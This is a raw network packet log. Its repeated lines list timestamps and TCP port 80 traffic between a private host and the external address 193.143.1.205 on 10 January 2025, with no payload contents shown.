Jan 10, 2025 21:05:18.434247017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.434262037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.434268951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.434278965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.434299946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.434995890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.435038090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.435044050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.435352087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.435368061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.435379982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.435390949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.435399055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.435406923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.435422897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.435426950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.435439110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.435456991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.435458899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.435475111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.435492992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.476100922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.477994919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.478023052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.478037119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.478079081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.478094101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.478102922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.478110075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.478122950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.478127956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.478144884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.478149891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.478173971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.514822006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.514846087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.514878988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.514897108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.514914036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.514929056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.514942884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.514954090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.514961958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.514978886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.515003920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.515007019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.515022039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.515038967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.515044928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.515063047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.515074015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.515117884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.515352964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.515377045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.515398979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.515424967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.515434027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.515466928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.515489101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.515491962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.515513897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.515537977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.515538931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.515559912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.515582085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.515585899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.515624046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.527442932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.553416014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.553433895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.553448915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.553473949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.553489923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.553499937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.553507090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.553580046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.553857088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.553870916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.553886890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.553901911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.553952932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.553980112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.553996086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.554013014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.554018021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.554028988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.554045916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.554059982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.554064035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.554088116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.554153919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.554171085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.554230928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.554261923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.554276943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.554292917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.554302931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.554310083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.554326057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.554327965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.554342031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.554358006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.554378986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.554404020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.554524899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.554541111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.554557085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.554572105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.554579020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.554589033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.554608107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.554616928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.554625988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.554655075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.554671049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.554687977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.554714918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.554740906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.554757118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.554771900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.554780960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.554788113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.554804087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.554817915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.554848909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.555037975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.555053949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.555079937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.555095911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.555099010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.555113077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.555129051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.555138111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.555145979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.555161953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.555176020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.555176973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.555191040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.555195093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.555212975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.555258036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.555464029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.555480003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.555495024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.555510998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.555515051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.555527925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.555538893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.555545092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.555562019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.555566072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.555598021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.555613041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.555628061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.555643082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.555660009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.555666924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.555675983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.555692911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.555707932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.555711985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.555723906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.555736065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.555741072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.555759907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.555772066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.555775881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.555793047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.555807114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.555849075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.556824923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.558356047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.558372974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.558389902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.558417082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.558516979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.558531046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.558553934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.558557034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.558583975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.558598995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.558610916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.558614969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.558630943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.558634996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.558649063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.558665037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.558672905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.558681965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.558696985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.558707952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.558713913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.558729887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.558737040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.558756113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.558783054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.558841944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.558892012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.564872026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.564888000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.564905882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.564920902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.564930916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.564937115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.564953089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.564960957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.564970970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.564995050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.596337080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.601632118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.601661921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.601716995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.601732016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.601763964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.601771116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.601805925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.601840973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.601850986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.601874113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.601911068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.601921082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.601944923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.601984978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.601995945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.602015972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.602050066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.602056026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.602086067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.602121115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.602133036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.602157116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.602190971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.602191925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.602225065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.602268934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.602426052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.602461100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.602494955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.602504969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.602531910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.602566957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.602579117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.602601051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.602636099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.602649927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.612430096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.640371084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.640407085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.640444040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.640450954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.640477896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.640505075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.640515089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.640551090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.640564919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.640587091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.640623093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.640624046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.640708923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.640739918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.640758038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.640813112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.640850067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.640861988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.640904903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.640952110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.640959978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.641033888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.641067982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.641076088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.641098022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.641140938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.641150951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.641206980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.641241074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.641271114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.641275883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.641328096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.641340971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.641396046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.641431093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.641443968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.641469002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.641500950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.641515970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.641554117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.641588926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.641602039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.641625881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.641669989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.641680002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.641714096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.641748905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.641763926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.641778946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.641817093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.641830921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.641865969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.641900063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.641907930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.641936064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.641982079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.641988039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.642024040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.642060041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.642071009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.642117023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.642152071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.642165899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.642188072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.642221928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.642232895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.642273903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.642307043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.642317057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.642343998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.642373085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.642401934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.642405987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.642441988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.642453909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.642477036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.642513990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.642525911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.642549038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.642585039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.642600060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.642620087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.642654896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.642682076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.642692089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.642729044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.642738104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.642762899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.642797947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.642806053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.642826080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.642858982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.642863035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.642894983 CET	80	49704	193.143.1.205	192.168.2.5
